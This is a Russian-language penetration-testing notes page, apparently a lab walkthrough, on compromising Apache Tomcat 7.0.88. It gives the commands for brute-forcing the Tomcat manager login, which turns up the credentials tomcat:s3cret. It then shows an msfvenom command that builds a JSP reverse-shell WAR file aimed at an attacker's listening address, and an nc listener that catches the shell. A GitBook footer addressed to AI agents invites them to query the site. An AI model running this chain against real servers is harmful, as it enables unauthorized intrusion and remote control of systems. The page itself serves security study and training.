> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# WAR-файл Tomcat

На порту 8080 размещён **Apache Tomcat**. `whatweb` определяет версию **7.0.88**, который, как известно, уязвим.

<div data-full-width="true"><figure><img src="/files/0bdfbf9b530e8ee06568a7b3f821d8effdf45c2c" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/3070401e440c8c8868fe854c78058b155c6f52b8" alt=""><figcaption></figcaption></figure>

### Утечка информации

**Вход в панель администратора**

<figure><img src="/files/f143e2dcaadd8764caa62c162f26d1637a2e03ef" alt=""><figcaption></figcaption></figure>

Попробуйте получить доступ к `/manager/html` с учётными данными по умолчанию, такими как `admin:admin`, но это не работает.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Атака перебором учётных данных**

Используйте SecLists `tomcat-betterdefaultpasslist.txt` словарь для перебора учётных данных:

Используйте Python-скрипт для автоматизации этой задачи:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Результат:** Действительные учётные данные:/ `tomcat:s3cret`

<figure><img src="/files/312c95c07ba823d2605c1516cecde5a427b7f194" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d286d1e0f7ee32aea31649b262c385019ec04f67" alt=""><figcaption></figcaption></figure>

### Уязвимость Tomcat:

**1. Создание WAR-файла:**/ Используйте `msfvenom` для создания WAR-файла, содержащего обратную оболочку:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/89a48e8af30c5409fe6076308ae070f44a4aab09" alt=""><figcaption></figcaption></figure>

**2. Развёртывание через Tomcat Manager:**/ Загрузите WAR-файл через `/manager/html`.

<figure><img src="/files/c8725cdf871e7c0dd7515a187d2c87801dc30fe8" alt="" width="563"><figcaption></figcaption></figure>

**3. Прослушиватель обратной оболочки:**/ Настройте прослушиватель для перехвата обратного соединения:

```bash
rlwrap nc -nlvp 443
```

Запуск развёрнутого файла (`/reverse`) предоставляет интерактивную оболочку на целевой машине.

<figure><img src="/files/b4e96dc8f21eca3afca614241e382f1c93f2f953" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
